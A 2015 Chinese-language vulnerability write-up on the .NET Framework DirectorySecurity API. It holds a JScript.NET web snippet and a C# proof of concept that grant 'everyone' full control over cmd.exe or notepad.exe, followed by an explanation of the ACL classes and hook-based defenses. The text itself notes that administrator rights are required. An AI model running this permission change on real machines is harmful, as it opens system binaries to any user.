catalog
1. Description 2. Effected Scope 3. Exploit Analysis 4. Principle Of Vulnerability 5. Patch Fix
1. Description
通過.NET Framework的這個API漏洞,攻擊者可以賦予任意程式檔案執行許可權
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2015-0104148 https://butian.360.cn/vul/info/qid/QTVA-2015-198545
2. Effected Scope
Microsoft .NET Framework 2.0 Microsoft .NET Framework 3.5 Microsoft .NET Framework 3.5.1 Microsoft .NET Framework 4 Microsoft .NET Framework 4.5 Microsoft .NET Framework 4.5.1
3. Exploit Analysis
try { var strPath:String = "c:\\windows\\temp\\cmd.exe", strUser:String = "everyone"; /* DirectoryInfo類,公開用於建立、移動和列舉目錄和子目錄的例項方法,此類不能被繼承 https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx */ var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath); /* GetAccessControl(): 獲取DirectorySecurity物件,該物件封裝當前DirectoryInfo物件所描述的目錄的訪問控制列表(ACL)項 返回一個DirectorySecurity物件,該物件封裝此目錄的訪問控制規則 https://msdn.microsoft.com/zh-cn/library/t1h6d4k4(v=vs.110).aspx */ var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl(); /* AddAccessRule(FileSystemAccessRule): 將指定的訪問控制列表(ACL)許可權新增到當前檔案或目錄 https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.directorysecurity(v=vs.110).aspx public FileSystemAccessRule( IdentityReference identity, FileSystemRights fileSystemRights, AccessControlType type ) 1. identity: System.Security.Principal::IdentityReference: 封裝對使用者帳戶的引用的 IdentityReference物件 2. fileSystemRights: System.Security.AccessControl::FileSystemRights:FileSystemRight 值之一,該值指定與訪問規則關聯的操作的型別 3. type: System.Security.AccessControl::AccessControlType: AccessControlType值之一,該值指定是允許還是拒絕該操作 */ dirsecurity.AddAccessRule( new System.Security.AccessControl.FileSystemAccessRule( strUser, System.Security.AccessControl.FileSystemRights.FullControl, System.Security.AccessControl.AccessControlType.Allow )); /* FileSystemAccessRule類: 表示定義檔案或目錄的訪問規則的訪問控制項 (ACE) 的抽象 https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.filesystemaccessrule(v=vs.110).aspx */ //SetAccessControl: 將DirectorySecurity物件所描述的訪問控制列表(ACL)項應用於當前DirectoryInfo物件所描述的目錄 dirinfo.SetAccessControl(dirsecurity); Response.Write(strPath+"\t許可權新增成功!"); } catch(x) { Response.Write(x.Message); }
Relevant Link:
https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx
0x1: POC
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace poc { class Program { static void Main(string[] args) { try { String strPath = "C:\\notepad.exe", strUser = "everyone"; System.IO.DirectoryInfo dirinfo = new System.IO.DirectoryInfo(strPath); System.Security.AccessControl.DirectorySecurity dirsecurity = dirinfo.GetAccessControl(); dirsecurity.AddAccessRule( new System.Security.AccessControl.FileSystemAccessRule( strUser, System.Security.AccessControl.FileSystemRights.FullControl, System.Security.AccessControl.AccessControlType.Allow )); dirinfo.SetAccessControl(dirsecurity); Console.WriteLine(strPath+"\t許可權新增成功!"); } catch(Exception x) { Console.WriteLine(x.Message); } } } }
4. Principle Of Vulnerability
使用.NET的Directory類,使用者可通過DirectorySecurity物件的下列方法來訪問目錄的訪問控制列表(ACL)
1. GetAccessControl: 返回一個目錄的Windows ACL作為一個DirectorySecurity物件 2. SetAccessControl: 將DirectorySecurity物件的ACl入口賦予指定目錄
0x1: DirectorySecurity
DirectorySecurity類定義瞭如何對目錄訪問進行審計。該類是潛在的Windows檔案安全系統(System.Security.AccessControl名稱空間的一部分)的一個抽象,在該系統中,每個目錄有一個自由決定的ACL來控制目錄訪問。同時,一個系統ACL決定對哪些訪問控制進行審計。使用兩個類來分別處理目錄訪問和審計
1. FileSystemAccessRule 2. FileSystemAuditRule
ileSystemAccessRule類代表一個潛在的訪問控制入口的抽象,訪問控制入口用來指定使用者賬號,提供的訪問型別(讀、寫等)以及是許可或拒絕某個許可權。同時,該類還指定了如何將訪問規則傳遞給子物件。FileSystemAuditRule類代表了為某個檔案或目錄定義審計規則的ACE
為了通過DirectorySecurity類為某個目錄新增一條新規則,需要FileSystemAccessRule和FileSystemAuditRule兩個類的新例項
1. 第一個引數: 指定每個應用該規則的使用者、組或標識 2. 第二個引數: FileSystemRights列表,用來指定使用者(由第一個引數指定)可以進行的操作,它包含很多可能的取值,包括 1) CreateDirectories 2) CreateFiles 3) Delete 4) FullControl 5) ListDirectory 3. 最後一個引數: 可用來指定使用者能否執行引數二的操作。AccessControlType列表包括兩個可能取值 1) 允許 2) 拒絕 用於FileSystemAuditRule類的第三個引數可從AuditFlags列表的Failure、None或Success中取值來設定審計級別。FileSystemAuditRule類的建構函式是過載的,這個方法是最基本的方法
需要注意的是,需要使用管理員許可權呼叫DirectorySecurity相關API
Relevant Link:
http://developer.zdnet.com.cn/2007/0510/391302.shtml http://www.wyxit.com/article/201501/6731.html
5. Patch Fix
.NET Framework和Java JVM本質上是一樣的,都是在作業系統之上抽象出了一層虛擬機器,從而允許"中間位元組碼"在虛擬機器上執行,從而實現跨平臺
在.NET Framework框架中,如果需要呼叫作業系統API實現作業系統功能,需要通過Native API介面,即通過DLL/SO來呼叫作業系統API,因此,我們的防禦方案可以從以下方向展開
1. .NET Framework DirectorySecurityAPI涉及到的nativa API為 1) SetSecurityDescriptorDacl 2) SetFileSecurity 通過DLL/SO Hook實現管控 2. 在核心層執行路徑上進行防禦
Copyright (c) 2015 Little5ann All rights reserved